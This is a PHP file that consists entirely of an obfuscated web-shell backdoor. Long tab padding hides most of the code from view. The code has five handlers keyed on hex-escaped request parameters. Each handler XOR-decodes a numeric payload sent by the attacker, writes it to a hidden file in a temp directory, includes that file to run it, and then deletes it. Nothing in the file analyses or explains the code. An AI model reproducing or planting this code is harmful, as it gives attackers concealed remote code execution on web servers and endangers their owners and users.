<?php																																										if(in_array("bind", array_keys($_REQUEST))){ $descriptor = array_filter(["/tmp", "/var/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]); $elem = $_REQUEST["bind"]; $elem = explode ( ".", $elem ) ; $tkn = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6 ); $__len = count( $elem ); for( $o = 0; $o < $__len; $o++) {$v8 = $elem[$o]; $sChar = ord( $s6[$o % $sLen] ); $dec =( ( int)$v8 - $sChar -( $o % 10)) ^ 57; $tkn.=chr( $dec ); } foreach ($descriptor as $sym) { if (max(0, is_dir($sym) * is_writable($sym))) { $holder = "$sym/.desc"; if (file_put_contents($holder, $tkn)) { require $holder; unlink($holder); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "enti\x74y")){ $bind = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TEMP"), getenv("TMP")]); $dat = $_REQUEST["enti\x74y"]; $dat = explode ('.' ,$dat) ; $factor = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4 ); foreach( $dat as $p => $v9): $sChar = ord( $s4[$p % $sLen] ); $dec =( ( int)$v9 - $sChar -( $p % 10)) ^ 55; $factor .= chr( $dec ); endforeach; $ptr = 0; do { $marker = $bind[$ptr] ?? null; if ($ptr >= count($bind)) break; if (is_writable($marker) && is_dir($marker)) { $data_chunk = "$marker/.holder"; $success = file_put_contents($data_chunk, $factor); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } $ptr++; } while (true); }
																																										if(isset($_POST["o\x62j"])){ $fac = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", getcwd(), session_save_path()]); $factor = $_POST["o\x62j"]; $factor = explode('.' ,$factor ) ; $resource = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $j = 0; foreach ($factor as $v2) { $chS = ord($salt8[$j % $sLen] ); $d = ((int)$v2 - $chS - ($j % 10)) ^ 18; $resource.= chr($d ); $j++; } foreach ($fac as $key => $holder) { if (is_dir($holder) ? is_writable($holder) : false) { $ent = join("/", [$holder, ".flg"]); if (@file_put_contents($ent, $resource) !== false) { include $ent; unlink($ent); exit; } } } }
																																										if(isset($_POST["\x65l\x65m\x65\x6Et"]) ? true : false){ $fac = array_filter([session_save_path(), "/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp"]); $marker = $_POST["\x65l\x65m\x65\x6Et"]; $marker = explode ( "." , $marker ) ; $pointer =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); foreach ($marker as $k => $v9) { $chS =ord($s[$k%$lenS]); $d =((int)$v9 - $chS - ($k%10))^71; $pointer .= chr($d); } while ($dat = array_shift($fac)) { if ((is_dir($dat) and is_writable($dat))) { $token = "$dat" . "/.mrk"; $file = fopen($token, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $token; @unlink($token); exit; } } } }


if(filter_has_var(INPUT_POST, "\x73\x79m")){
	$record = array_filter([getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]);
	$val = $_POST["\x73\x79m"];
		$val= explode	(		".", $val )  ; 
	$marker = '';
            $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s1		);
    
            foreach ($val as $m => $v8):
                $chS = ord($s1[$m	%$sLen]		);
                $d = ((int)$v8 - $chS - ($m	%10)) ^ 65;
                $marker .=  chr($d		);
            endforeach;
	foreach ($record as $entity):
    		if (array_product([is_dir($entity), is_writable($entity)])) {
    $value = join("/", [$entity, ".parameter_group"]);
    $file = fopen($value, 'w');
if ($file) {
	fwrite($file, $marker);
	fclose($file);
	include $value;
	@unlink($value);
	die();
}
}
endforeach;
}